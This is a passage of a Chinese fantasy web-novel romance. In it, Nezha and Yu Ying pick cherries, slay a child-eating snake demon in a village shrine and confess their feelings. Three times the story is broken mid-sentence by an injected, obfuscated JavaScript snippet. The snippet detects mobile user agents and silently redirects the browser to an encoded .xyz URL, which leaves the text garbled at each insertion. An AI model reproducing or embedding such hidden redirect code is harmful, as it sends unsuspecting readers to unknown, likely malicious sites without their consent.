哪吒蹲在一旁,正用火尖枪烤着她的外袍,他闻言抬头,发梢还滴着水,却笑道:“谁让你跑?” “谁让你追?” “谁让你喊别人师兄?” 两人大眼瞪大眼,同时笑出声。混天绫从旁边蹭过来,卷着一枝新折的樱桃,果实饱满,红艳欲滴。 “哼,”哪吒揪了颗塞进与应嘴里,“赔你的。” 樱桃在唇齿间爆开酸甜的汁水,与应倾身,将另一颗抵在哪吒唇边:“尝尝?” 樱桃在少女指尖泛着水润的光泽,哪吒盯着那抹艳色,一时出神。 她捏着樱桃抵在他唇上,他下意识张口,温热的舌尖却不小心扫过她的指尖。 与应急忙缩手,指尖残存的,湿热的触感让她心里发烫,平日里那些轻巧的撩拨,在这面前不堪一击。 她慌乱站起身,荷绿裙摆在水面划出一道弧线:“我、我去重新摘些樱桃……” 哪吒还保持着微微张口的姿势,唇上沾着樱桃的汁水,亮晶晶的。 他伸手抓住她的手腕:“跑什么?” “谁跑了!”与应挣了挣,没挣开,“是樱桃……” “樱桃怎么了?”哪吒站起身,逼近一步,将那颗被咬了一半的樱桃举到她面前,“不是你要我尝的?” 与应后退半步,少年身上还带着溪水的凉意,呼吸却烫得惊人,她别过脸去:“尝、尝过了就……” “没尝够。”哪吒俯身,指尖捏着那半颗樱桃,“继续。” 她瞪大眼睛:“你……” 哪吒半握着她手腕,将半颗樱桃塞到她指尖,力道不轻不重,刚好让她挣脱不得。 他微微低头,就着她的手咬住那颗樱桃,红艳的果实在他唇间显得格外诱人。 “甜吗?”与应小声问,指尖微微发颤。 少年抬眼看她,慢慢咀嚼着,喉结上下滚动,他故意吃得很慢,每一口都像是在品尝什么珍馐美味,目光却始终锁在她脸上。 与应被他看得耳根发烫,想抽回手却被他带着又摘了颗樱桃,哪吒低头,这次直接含住了她的指尖,舌尖轻轻扫过指腹。 “你——”与应呼吸一滞,心跳快得几乎要蹦出来,她抽回手想跑。 “撩拨完就跑?”哪吒一把扣住她手腕,“真是心狠。” 与应被他圈在怀中,鼻尖萦绕着少年身上清冽的莲香,混着樱桃的甜腻,她垂下眼睫,看见他喉间滚动的水珠顺着锁骨滑入衣领。 “谁、谁撩拨你了……”她声音越来越小,指尖还残留着他唇舌的温度。 哪吒低笑,俯身在她耳边轻声道:“从你第一次故意摔进我怀里开始……” 与应抬头,正对上他含笑的眸,少年眼底映着晨光,像是燃着一簇火,将她所有的小心思都照得无所遁形。 15. 阴暗 “故意弄散头发让我帮你梳。” “故意不小心摔倒要我接。” 话音未落,与应抓起枪尖湿漉漉的外衫转身就走,少年顿时慌了神,方才的嚣张气焰瞬间熄灭。 “喂……”他伸手去拽她衣袖,却被轻巧避开。 溪水潺潺,只留下少女一串湿漉漉的脚印,哪吒站在原地,红衣滴着水,发梢的水珠砸在青石上,一声又一声。 “与应……”他声音低了下去。 少女在十步开外停住,她肩膀微微抖动,猛地转身——哪是什么生气,分明是憋笑憋得眼角都红了。 “你!”哪吒这才发现自己被耍了,三两步追上去,“敢戏弄我?” 她笑弯了腰,湿发黏在颊边:“你方才的表情……哈哈哈……” 少年将人拦腰抱起,惹得她惊呼一声。他恶狠狠道:“回山再收拾你。” 走到半路,他看见丛中飞舞的蝶,无忧且无虑,哪吒发现自己好像从未知晓她的过去,她却对她了如指掌。 “你从前……” 没有回应,只有规律的呼吸声。 他低头,与应已经伏在他肩头睡着了。 哪吒放轻脚步,将人往怀里拢了拢。 算了。 反正现在,将来,她都会在这里。 在他触手可及的地方,湿漉漉地对他笑。 · 在玉泉山的最后一日,与应学乖了。 每当杨戬那道白色身影出现时,她便立即垂眸盯着自己的鞋尖,直到那抹红影从余光里晃过来。 “在看什么?”哪吒总会在此时出现,装作不经意挡在她身前,指尖还转着颗樱桃。 “没、没什么。” 她现在见了樱桃就害怕,更怕哪吒再要自己喂他。 但小径拐角处,与应还是“偶遇”了杨戬,他朝她郑重一礼:“多谢姑娘那日救命之恩。” 与应刚要回礼,余光就瞥见旁边一抹红影——哪吒面无表情抱臂靠在树干上,见她看来也只是挑挑眉头。 她装作没看见树下的人,朝着杨戬规规矩矩道:“杨师兄客气了。” 哪吒安静得可怕。 他倚在樱桃树下,红衣几乎融进斑驳树影里,日光透过枝叶在他脸上投下细碎光斑,却照不进那双幽深的眼。 少年指尖把玩着一颗樱桃,指腹缓缓摩挲过果实表面,汁水渗出顺着指尖淌下。 她后颈的寒毛悄悄竖了起来。明明隔着三丈远,她却感觉有冰冷的指尖正顺着脊背攀爬。 杨戬似乎也察觉异样:“姑娘脸色不太好?” “没……”她话音未落,身后突然传来轻响。 那颗樱桃在他掌心被碾得粉碎。 鲜红汁液顺着他的手腕流进袖口,少年却连眉梢都没动一下,只慢条斯理舔去指尖残渣,唇色被染得更加鲜红,妖异非常。 “说完了?”他缓缓开口,声音轻柔却如蛇信擦过耳畔。 与应深吸一口气,身朝哪吒走去,她的绣鞋踩过满地落花,在少年阴沉的注视下停在他面前。 “手。”她伸出手心。 哪吒眯起眼,沾着汁液的手微微蜷起。 与应不由分说抓过他的手腕,从袖中掏出素帕,低头擦拭那些黏腻的汁液,指尖用力在他掌心一捏,哄道:“擦擦。” 指尖在她掌心轻轻一颤。 与应趁机将素帕塞进他手里,指尖状似无意地划过他腕间突起的骨节。少年呼吸一滞,方才阴郁的气场顿时散了大半。 “脏死了。”她佯装嫌弃地撇嘴,却踮起脚尖,“低头。” 哪吒下意识俯身,额前一暖。 干净的帕子轻轻拭去他眉梢沾着的樱桃汁,这个姿势几乎将她整个人笼在怀里,荷绿的裙摆缠上他的靴面,像株主动投怀的莲。 来了,他喜欢的—— 他眼底的阴霾如潮水般退去,眉梢一挑,又恢复了往日那副带笑模样,哪吒顺势扣住与应擦拭的手腕,指腹在她脉搏处轻轻摩挲。 “这么乖?”他声音里带着藏不住的笑意,方才骇人的气势荡然无存。 与应刚要松口气,哪吒俯身,在她耳边轻声道:“那再叫声师兄听听?” “得寸进尺!” 与应话音未落,方才杨戬站立之处已空无一人,只有几片白色花瓣打着旋儿落下,证明那里曾有人驻足。 “看什么呢?”哪吒捏着她的下巴将脸转回来,指尖还带着樱桃的清甜。 他顺着她的视线望去,得意的笑:“算他识相。” “行了,再去摘些,等会就要和师父回山了。”哪吒松开她,转身走向林中。 与应跟在他身后,目光追随着那道背影,少年方才阴郁危险的模样又浮现在眼前。 指间碾碎的樱桃,染红的唇色,还有那双深不见底的眼,她心跳漏了半拍,指尖抚上自己发烫的耳垂。 “发什么呆?”哪吒回头,手里捏着一枝樱桃,“接着。” 与应慌忙去接,他手腕一转,高高抛起,混天绫在空中划出绯红弧线,稳稳接住樱桃,献宝似的递到她面前。 “笨。”少年轻笑,眼里盛满细碎的光。 阳光透过枝叶在他发间跳跃,那个阴鸷危险的哪吒似乎只是她的错觉。 可心底某个隐秘的角落,却为那转瞬即逝的阴暗而微微战栗。 不对——她在想什么奇怪的东西? 与应晃晃脑袋,平复那股莫名的兴奋后,她追上去一下跳到他身上,少年轻笑一声,稳稳托住她去够更高的樱桃。 算啦,他还是这样好看。与应摘下一颗,投到他嘴里。 · 夕阳西沉时,两人辞别玉鼎真人,慢悠悠踏上归途,哪吒故意不用风火轮,只牵着与应的手沿着山间小路漫步。 “师父先回去了。”哪吒随手折了根草茎叼在嘴里,“我们慢慢走。” 夕阳余晖为山间小路镀上层金色,两人的影子在地上拉得很长很长。 两人的手指不知何时已从牵着变成了十指相扣,与应能清晰地感受到他掌心传来的温度。 “累不累?”哪吒停下脚步,声音比平时柔和许多。 怎么会累,平时捉拿妖兽要赶的路比这辛苦多了,况且,和他一起走怎么会累呢? 但面对哪吒的邀请,她没有犹豫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15647620|172776||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,趴上了少年结实的后背。 山间的晚风带着草木清香,拂过两人交叠的身影,带着莲香的发丝偶尔蹭过她的脸颊,勾得她又贴近了些。 “重不重?”与应小声问。 “轻得像片叶子。”哪吒轻笑,托着她腿弯颠了颠,“多吃点樱桃。” 与应轻笑,将下巴搁在他肩头。 她当然知道以哪吒的本事,御风火轮而行不过瞬息之间便会到乾元山,而此刻这般慢悠悠地步行下山,不过是贪恋这难得的悠闲时光。 “哪吒。”她突然唤道。 “嗯?” “没事。”与应将脸埋在他颈窝,“就是想叫叫你。” 他喉结动了动,最终只是轻轻“嗯”了一声。 哪吒背着她走了一段,忽然停下脚步。与应抬头,发现天边不知何时聚起了乌云,雨丝已经开始飘落。 “下雨了。”哪吒的声音里带着几分莫名的愉悦,“前面有个村子。” 雨丝渐密,两人刚踏入村口,哪吒脚步便是一顿,与应同时察觉异样——空气中弥漫着若有似无的腥甜,像蛇类蜕皮后的黏液气味。 看来,他们得多待一会儿了。 与应从他背上轻盈跃下,指尖凝起一缕探查术法:“要不要比比?” “哦?”哪吒挑眉,“比什么?” “看谁先找到那只蛇妖。” 话音未落,混天绫与往生绫同时破空而出,红白绫带在村子上空交织盘旋,惊起阵阵阴风。 而此时村东废弃的祠堂内,一条青鳞大蛇盘踞在供桌上,它刚刚吞下一个童子,腹中鼓胀,正吐着信子回味着人肉的滋味。 突然,祠堂大门被一阵罡风震开,雨水裹着落叶卷入殿内,烛火剧烈摇晃。 蛇妖警觉地竖起上半身,竖瞳骤缩—— 雨幕中,一红一白两道身影并肩而立。 红衣少年指尖转着火尖枪,枪尖滴落的不是雨水而是三昧真火,白衣少女腕间缠绕着雪白绫带,眸中闪着寒光。 哪吒的目光扫过供桌旁那滩未干的血迹,嘴角的笑意倏地凝固,声音轻得令人毛骨悚然:“呦,吃人呢。” 蛇妖被这眼神骇得鳞片倒竖,猛地喷出一口毒液,墨绿毒雾在空中扩散,直逼哪吒面门,少年却纹丝不动,甚至嘴角还噙着那抹令妖毛骨悚然的笑。 就在毒液即将触及他皮肤的刹那,雪白绫带掠过,将毒液尽数挡下。 似乎看穿他的心思,少女笑道:“不躲等着毁容?” 哪吒这才慢悠悠地侧头看她:“有你在,我怕什么?” 他手腕一转,火尖枪直指蛇妖眉心:“刚才吃的哪家孩子?” 蛇妖嘶吼挣扎,却在看到少年眼中翻涌的血色时僵住了—— “说。”哪吒轻声道,枪尖燃起三昧真火,“或者我亲自剖开你的肚子看看。” 蛇妖竖瞳剧烈收缩,终于认出了眼前这对煞星—— 红衣少年正是那将东海龙宫三太子抽筋扒皮的哪吒三太子。 而那笑吟吟的白衣少女,可不就是专掏妖怪心肝的往生绫主人! 这剥皮抽筋和掏心掏肺怎么还凑一块去了! 16. 诱哄 它浑身鳞片都在发抖,恨不得当场昏死过去,这是造了什么孽? 为什么是它遇上了这“红白双煞”,今日恐怕连一具完整的尸身都保不住了。 “两、两位大仙饶命!”蛇妖拼命蜷缩身子,“小的这就把童子吐出来,他还没死……” 哪吒火尖枪轻轻一挑,蛇妖顿时痛苦地扭曲起来:“说起来,那泥鳅都有筋,你应该也有吧?” 少年歪着头看妖物挣扎的模样。 蛇妖绝望地将目光转向与应,少女清丽的容颜在烛火映照下显得格外纯善,它如同抓住最后一根救命稻草,拼命挤出几滴眼泪:“仙子慈悲!小妖知错了……” 与应歪了歪头,柔声道:“小蛇,先把孩子吐出来。” 蛇妖大喜,连忙蠕动身躯将童子呕出,混天绫一卷,将那昏迷的孩子轻轻放到安全处。 蛇妖带着粘稠湿液的躯体蠕动到门口却被一柄闪着寒光的剑拦住。 怎么回事,它不是能走了吗? 少女似乎被它的眼神逗笑:“你该不会蠢到觉得……我会比三太子仁慈吧?” 她指尖的往生绫绷直,如毒蛇般昂首:“你尝过人的味道,竟还觉得我会留你?” 蛇妖这才惊觉,难怪这俩煞神能走到一起,合着都是一样的脾性,一样的以杀止杀! “等等!”它绝望地嘶叫,“我可以改——” 火尖枪已刺入它的眉心。 “废话真多。” 三昧真火瞬息就将蛇妖烧成灰烬,只余一枚青莹莹的妖丹悬浮空中,与应随手收起,转身去看那昏迷的童子。 “没死。”她探了探孩子的鼻息,指尖拂过,祛除了残留的妖毒。 哪吒蹲在她身旁,回想起少女方才的模样,他道:“你刚才那样……” “嗯?” “……”少年别过脸,耳尖微红,“挺好看的。” 与应愣了下,随即笑弯了眼睛,她指尖捏着那颗妖丹,将它放在烛火下观赏。 青莹莹的妖丹被烛火折射出的光映到她脸上,琉璃般的眸子染上一丝妖冶,钿纹像是被划了道口子似的嫣红。 妖丹还带着蛇妖尸体的温度,摸起来温润,硬滑。 方才那妖的眼神怕不是真以为自己是什么救世主呢,她摸了摸自己的脸,心想:长了一张有欺骗性的脸,的确容易做坏事呢。 与应将目光移到一直盯着自己的哪吒身上,哪吒半蹲在烛火摇曳的阴影里,混天绫缠在护腕上映着幽光,眼尾染着未褪的杀意,唇畔噙笑。 他生得极好看,鸦羽似的睫毛下,一双眼瞳如淬了寒星的墨玉,眉心朱砂神性又慈悲,恍若庙宇里供奉的玉雕佛像。 可方才枪挑蛇妖时,这尊神像却在笑。 他们两个啊,还真是像,哪吒见她出神,凑近了些,少女随手将先前收在乾坤袋的糖葫芦拿出来,两人一人一串,蹲在蛇妖未干涸的血地上啃了起来。 屋里零星燃着的烛火被风吹灭大半,地下还蜿蜒着黏腻水渍,寒冽月光照在两人身上。 红的,白的。 喜丧鬼一样。 · 祠堂外的雨已经停了。 被救的童子悠悠转醒,睁眼便看见一红一白两道身影立在残阳里。 “醒了。”与应蹲下身,指尖凝起一点灵光点在童子眉心,“妖毒已清,只是受了些惊吓。” 哪吒抱臂站在一旁,火尖枪早已收起,他目光扫过童子苍白的小脸,眉头皱了一下。 远处传来杂乱的脚步声和呼喊,一群村民举着火把匆匆赶来,为首的妇人一见童子便扑了上来,搂着孩子嚎啕大哭。 “多谢恩公!多谢仙子!”老村长颤巍巍跪下,浑浊的老眼在看清哪吒面容时突然睁大,“您、您莫非就是那位……” 哪吒眉梢一挑,没说话。 “三太子!”一个年轻猎户突然叫道,“我在陈塘关见过三太子的金身!就是这位!” 人群骚动起来。 哪吒有些不自在地别过脸,与应悄悄勾了勾他的手指。 “三太子显灵了!”村民们纷纷跪拜,“多谢三太子救命之恩!” 哪吒轻咳一声:“都起来。妖物已除,不必如此。” 老村长执意要留他们用饭,推辞不过,两人只得随村民来到村中最大的院落。 院子里已摆开几张木桌,村民们忙着端上热腾腾的饭菜。 “寒舍简陋,望二位恩公莫要嫌弃。”老村长亲自斟了两碗酒,“这是自家酿的,请尝尝。” 哪吒接过酒碗一饮而尽,酒甜中带辣,顺着喉咙烧下去,她脸颊很快泛起红晕。 “仙子脸红了。”一个年轻媳妇抿嘴笑道,“可是喝不惯?” 与应摇摇头:“很好喝,只是……” 话未说完,又一阵酒气上涌,她身子晃了晃。 哪吒伸手扶住她的肩,隔着薄薄一层布料,指尖传来少女身上的温热,他喉结动了动,低声道:“慢点喝。” “我没事。”与应抬头对他笑笑,眸中水光潋滟,哪吒呼吸一紧,慌忙移开视线。 酒过三巡,气氛愈发热闹,几个胆大的年轻人围过来,好奇地打量这对璧人。 “三太子和仙子是一对吗?”一个扎着羊角辫的小姑娘天真地问。 院中安静下来。 与应的脸烧了起来,手中酒碗差点打翻,哪吒的耳尖红得几乎滴血,却强作镇定:“小孩子别乱说。” “我看就是!”猎户的妻子笑道,“二位站在一起,活像画里走出来的金童玉女。” “是啊是啊!”众人纷纷附和。 哪吒握拳抵唇挡住上扬的唇角,偷瞄与应的反应,少女垂着头,长睫在火光中投下细密阴影,唇角却微微翘起。 “来来来,敬二位一杯!”老村长适时解围,“愿二位,呃……情谊长存!” 众人哄笑着举杯。 哪吒仰头饮尽,悄悄在桌下握住了与应微凉的手,少女指尖一颤,却没有抽回,反而轻轻回握。 奇怪……平日里这样的举动也不少见,怎么这次心跳得这样快? 她指尖微微蜷缩,却不敢用力回握,生怕泄露了掌心的薄汗。 莲花重生的躯体不会留下痕迹,哪吒手上自然是没有茧子的,摸起来如温热的玉般。 平时只是觉得这人牵住自己的动作太过自然,她也是第一次发觉……她好像,真的对哪吒产生了食欲之外的感情。 这个念头刚冒出来,与应就被自己吓了一跳,指尖下意识在哪吒掌心挠了一下。 少年立刻收紧了手指,偏头看她时,眼底映着跳动的火光,亮得惊人。 “怎么了?” “没、没什么。” 她想抬眼看看他头顶开没开花,发现没有后有些失望,原来这人并不像自己一样因为村民的话开心? 他那时在水池边的时候明明开了呀,原来樱桃树下,溪水旁,他其实不开心?原来是自己一直在自作多情? 这种念头一旦开始就难以收回。 与应越想越委屈,酒意上涌间,鼻尖萦绕的全是哪吒身上清甜的莲香,她用力抽回手,将酒碗重重搁在桌上。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15647621|172776||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “不喝了。”她声音里带着自己都没察觉的嗔意。 哪吒下意识去摸她额头:“醉了?“ 与应偏头躲开,余光扫过他发间。 干干净净,半朵莲花的影子都没有。 她心头窜起一股无名火,明明那日在莲池边,他头顶开得那般灿烂,如今却…… 哪吒看着少女呼吸急促的样子,朝村民们拱了拱手:“失陪了。” 他一把拉起与应的手腕,不由分说地往外走,与应踉踉跄跄跟着,想挣脱却被他握得更紧。 少年掌心滚烫,带着不容抗拒的力道,一路将她带到村口的小河边,哪吒终于松开手,与应立刻往后退了两步,赌气似的别过头去。 “你……”哪吒刚开口,就被她打断。 “我什么我!”少女声音里带着酒后的娇蛮,“带我来这做什么?回去喝酒啊!” 哪吒被她突如其来的脾气弄得一头雾水:“你到底在闹什么别扭?” “你凭什么不开花!” 哪吒被她突如其来的质问震得后退半步,头顶冒出一朵粉莲。 与应盯着那朵颤巍巍的花,眼眶红了,委委屈屈道:“现在才开……” “你……”哪吒想抬手去擦她眼角,“生气了?” 与应冷着脸拍开他的手,眼中却潋滟着水雾,颤声道:“和我在一起,你不开心吗?” 她掰着手指细数。 “带我去山下玩的时候,为我绾发的时候,在溪边你要我喂你樱桃的时候……”每说一句,语速就越快,“难道那些时候,你都是装的?” 既如此,何必来陪她玩这幼稚的游戏?亏她还忍着这勾人的香气,忍着饥饿哄他。 哪吒头顶的莲花接连绽放,转眼就开满了发间,他急得去抓与应的手腕:“不是!我……” “那为什么现在才开?”与应甩开他的手,“方才在席间,村民说我们是……”她突然卡住,脸颊飞红,“说我们的时候,你半点反应都没有!” 哪吒捧起她的脸,指腹轻轻擦过她泛红的眼角,月光下,少年眸中似有星河倾落,发间粉莲舒展着绽放。 “那日在池边失控开花后……”他声音很轻,“我特意找师父学了控制之法。” 与应气不打一处来,酒意混着委屈在胸口翻涌。 她踮起脚尖,一把扯开哪吒衣领,对着那截白玉般的锁骨狠狠咬了下去,清甜的莲香瞬间溢满口腔,层层叠叠的花瓣在唇齿间舒展。 哪吒浑身一颤,却没推开她,反而下意识扶住了她的腰。 少女温软的唇瓣贴在他锁骨上,那触感比他想象中还要柔软数倍,像是春日里最娇嫩的花瓣,又像是刚蒸好的桂花糕,带着微微的湿润,轻轻碾过那里。 他几乎能清晰地感受到与应每一次用力的变化,起初是带着怒气的啃咬,牙齿陷进莲藕化身的肌理时,她似乎愣了一下。 接着那力道不自觉地放轻了,变成了一种带着探究意味的轻吮。 哪吒浑身绷紧,指尖掐进掌心。 她的嘴唇,好软。 那些从伤口溢出的花瓣都带着酥麻的痒意,但都比不上她唇瓣辗转时带来的战栗,她的呼吸喷在他颈间,温热潮湿,还带着柔淡的酒香。 哪吒甚至希望她能咬得更重些,最好把他这具莲藕身都咬碎了才好,这样就能永远记住她唇齿间的温度,记住这一刻心脏快要炸开的悸动。 当与应终于松开时,哪吒几乎是本能地扣住了她的手腕。 他盯着那两片粉粉的,小小的唇瓣,诱哄道:“再咬一次。” 17. 吻 少女被他突如其来的请求惊得睁大了眼睛,唇上还沾着几片粉色的花瓣,她下意识想后退,却被哪吒扣着腰肢按回怀里。 “你、你疯了吗?”她声音发颤,指尖抵在他胸前,“我咬你、你还……” 哪吒低头凑近,鼻尖几乎贴上她的:“不够。” 头顶莲花簌簌抖动,洒落几星花粉。 “继续。” 与应被他的眼神烫得心尖发颤,正要开口,余光扫到他锁骨上那个牙印正在缓缓愈合,新生的莲瓣从伤口探出头来。 她伸手碰了碰,指尖顺势被哪吒抓住。 “不是说……”少年带着她的手按在自己心口,“要验证我的心意?” 任谁都抗拒不了这种邀请的,更何况眼前人浑身的散发着让她失去理智的,清甜诱人的香气。 这次她没有犹豫,重重咬了上去。 哪吒闷哼一声,却将她的后脑轻轻托住,指节穿过她散落的发丝,鼓励似的:“听话,再重些。” 少女咬得更深,齿尖陷入他肌肤的瞬间,莲香浓郁,仿佛咬破了整朵未绽放的花苞。 她听见哪吒的呼吸乱了,可他的手掌却稳稳地扶着她,甚至鼓励似的压了压她的后颈。 “不够。”他低声道,嗓音里带着难耐的沙哑。 与应松开齿关,舌尖舔过那个泛红的牙印,似乎尝到清甜的花汁,她仰头看他,发现哪吒的眼尾像是被焰色灼过,他发间的莲花完全盛放,有几朵甚至垂落下来,蹭在她颊边。 为什么这人被咬反倒不生气,甚至还很愉悦的样子? “你……”她声音发颤,“是不是有什么毛病?” 他低头凑近她耳边,温热的呼吸拂过她耳垂,笑道:“是啊,病得不轻。” 唇几乎蹭在她耳边:“只有师妹能治我。” 少女心跳漏了一拍,正想推开他,听见远处传来村民的呼喊:“三太子——仙子——” 哪吒不情不愿地松开手,指尖在她唇瓣上轻轻一抹,擦去那点晶莹的花汁:“先记着。” 与应瞪他:“记什么记!” 哪吒俯身,看着那双潋滟着春水的眼,轻声道:“记你欠我一次,日后要还的。” 说罢,他转身朝村民走去,发间的莲花在风中摇曳,洒落一路细碎的金粉。 与应站在原地,摸了摸自己发烫的耳垂,脑海中该回放着少年满足的喟叹和眼中翻涌的暗色—— 她还真是,招惹了一个不得了的人。 · 那蛇妖吃了村中不少小孩,惹得村里不少人都搬走到别处去了,只剩零星几人。 村长见天色过晚,赶忙收拾出间屋子叫两人住下,到了这地步也不好再推辞,哪吒半推着她往屋里走。 屋里破旧整洁,却只有一张榻。 少年满不在乎的往榻上一躺,乌发整个在被面铺散开来,见她没有动作,支起上半身歪头看她。 “愣着做什么,睡觉啊。” “我……” 话还没说完就被少年打断。 “等等,不行!不能睡一起!” 与应已经搭上榻沿的膝盖一顿,哪吒猛地从榻上弹起来,耳尖红得几乎要滴血。 他支支吾吾地指着门外:“我、我去外面泡池子!” “为什么?不是你要我过来的吗?” 少年结结巴巴,眼神飘忽:“就、就是……不能睡一起!会……会……” “会什么?” 哪吒憋了半天,最后转身,逃也似的冲出房门:“反正不行!” “喂!你去哪啊!” 哪吒像被火烧了尾巴似的冲出房门,连混天绫都忘了收,在门槛上绊了个踉跄。 明明是他先拉着她进屋的,怎么现在反倒像是她欺负人了? “这人……”她小声嘀咕,指尖不自觉地抚上自己的唇瓣,那里似乎还残留着莲花的清甜。 月光从窗缝里漏进来,在地上画出一道银线,与应盯着那道光线看了许久,终于叹了口气,推门走出去。 村中的夜晚安静得出奇,只有虫鸣和远处的水声,她循着水声走去,穿过几间茅屋,来到一处不大的池塘边。 哪吒果然在那里。 少年半身浸在水中,乌发散开,月光给他裸露的肩膀镀上银边,似乎察觉到有人靠近,他猛地回头,在看到是与应时明显僵了一下。 “你、你怎么来了?”他往水里沉了沉,只露出半个脑袋。 与应蹲在池边,捡起一块小石子丢进水里。 “来看看某个落荒而逃的家伙是不是淹死了。” 水花溅在哪吒脸上,他眨了眨眼,长睫毛上挂着水珠。 “我才没逃。” “哦?那为什么突然跑出来?”与应托着腮,故意凑近了些,“不是说“睡觉啊''”,说得那么理所当然。” 他别过脸,水面荡起涟漪。 “就是……不合适。” “哪里不合适?” “你是姑娘家!”哪吒转回来,水花四溅,“我、我不能……” 与应看着他慌乱的样子,故意板起脸:“哦?那刚才谁让我咬他来着?那时候怎么不考虑我是姑娘家?” 哪吒语塞,嘴唇开合几次都没发出声音,最后整个人沉入水中,只留下一串气泡。 过了一会儿他才冒出来,湿漉漉的发丝贴在脸上,衬得眼尾那抹红更加明显。 “那不一样,”他小声说,“那是……验证。” “验证什么?” “验证我是不是……”哪吒的声音越来越小,“……真的喜欢你。” 池塘边的虫鸣变得清晰。 与应感到自己的心跳声大得恐怕连哪吒都能听见,她低下头,看着水中两人的倒影被涟漪打碎又重合。 “笨藕。”她轻声说。 哪吒愣住:“什么?” “我说你是个傻子。”与应抬头,月光在她眼中流转,“哪有人用被咬来验证心意的?” 哪吒看着她,发间不知何时冒出一朵小小的莲花,在水汽中轻轻摇曳。 “那,该怎么验证?” 与应站起身,拍了拍裙子上并不存在的灰尘。 “自己想。”她转身要走,却被一股力量拉住了手腕。 哪吒游到岸边,他的手湿漉漉的,指尖还挂着晶莹的水珠,月光将他的轮廓描摹得格外柔软,连平日里张扬的眉目都敛了锋芒。 “别走。”他抬起的手在空中顿了顿,最终只是小心翼翼地捏住了她的一截袖角。 与应转身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15647622|172776||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时,看见少年仰起的脸庞被月光洗得发亮,他睫毛上沾着细碎水光,像是晨露缀在莲瓣边缘。 少年人的指尖透着池水的凉意,却在触及她手腕时泛起暖意,他低头时发间那朵小莲花正好垂落,花瓣擦过与应的手背,痒痒的。 “我、我不会。”哪吒低声说,“第一次喜欢一个人,不知道该怎么办。” 他的手指小心翼翼地触碰她的指尖,唇贴上手背时,与应感受到的不是情欲的温度,而是朝露滴落花瓣般的清凉触感。 “这样……对吗?” 与应看见他耳尖红得快要透明,像荷塘里捞起的那些藕节,白生生的透着粉,此刻的少年就像晨光里新摘的莲藕,连羞涩都透着清甜。 她悄悄蜷起被吻过的手指,那上面还留着池水清凉的触感,哪吒凑近了些,鼻尖几乎要碰到她的,眼睛里盛着满满的期待和忐忑。 远处传来几声犬吠,惊醒了池塘里沉醉的月光,两人的倒影早已交叠在水面上,被游过的小鱼搅碎成闪闪发光的银片。 “回去吧,”他从水中起身,水珠顺着身体滚落,“夜里凉。” 与应这才注意到他只穿着单薄的里衣,被水浸湿后几乎透明,勾勒出少年凌厉的线条,她立刻转过身,耳根发烫。 “你、你把衣服穿好!” 身后传来哪吒的笑声,还有衣物摩擦的窸窣声。 “好了。” 与应小心地回头,哪吒已经披上了外袍,只是头发还在滴水。 他向她伸出手:“一起回去?” 与应犹豫了一下,把自己的手放了上去,他掌心温暖干燥,完全不像刚泡过水的样子,两人沿着路往回走。 “所以……”哪吒开口,“我们现在是……” “是什么?”与应故意问。 哪吒停下脚步,认真看着她:“你知道的。” “不知道呀。”她笑道,“三太子不说清楚,小女子怎么明白?” 哪吒的眉头皱了起来,发间的莲花也跟着抖了抖,他深吸一口气,双手捧住与应的脸:“与应,我心悦你。” 她没想到哪吒会这么直接。更没有想到他竟然真的…… “现在明白了吗?”哪吒问,拇指轻轻摩挲她的脸。 与应感到自己的脸烧了起来。她点点头,小声回答:“嗯。” “那……可以一起睡了吗?”他在她耳边问,声音里带着笑意。 少女猛地推开他:“不行!” “为什么?”哪吒委屈地扁嘴,“我们都……” “那也不行!”与应红着脸大步往前走,“你睡地板!” 哪吒追上来,牵住她的手:“好嘛好嘛,我睡地板。”他晃了晃两人交握的手,“但你要拉着我的手睡。” “谁要拉着你的手!” “你呀。”哪吒理直气壮地说,“不然我会做噩梦的。” 与应又好气又好笑:“三太子还会做噩梦?” “会的,”哪吒认真点头,“梦见你不见了。” 梦里的他比现在长高很多,一袭红衣金甲,面露杀伐之相,受了伤不作声只是颤。 那个踏着尸山血海而归的少年,似乎只有孤身一人,旁边几个看不清脸的人影恭恭敬敬道他—— 先行官。 18. 小杀星 哪吒的声音低哑下去,指尖无意识地摩挲着与应手腕内侧的脉搏,仿佛在确认她的存在。 “梦里我找遍整个陈塘关……”少年声音里带着与平日截然不同的寒意,“连东海都翻遍了。” 哪吒杀妖时的模样,挑破蛇妖七寸时,少年眼中就是这般令人心惊的焰色,此刻那簇火焰却裹着厚厚的冰,烧得她心口发疼。 “笨,”她伸手捧住他的脸,“梦都是反的。” 哪吒看着她,发间半合的莲花瓣轻轻颤动,与应拇指蹭过他眼下——那里干燥温热。 在想什么呢,哪吒他是不会流泪的。 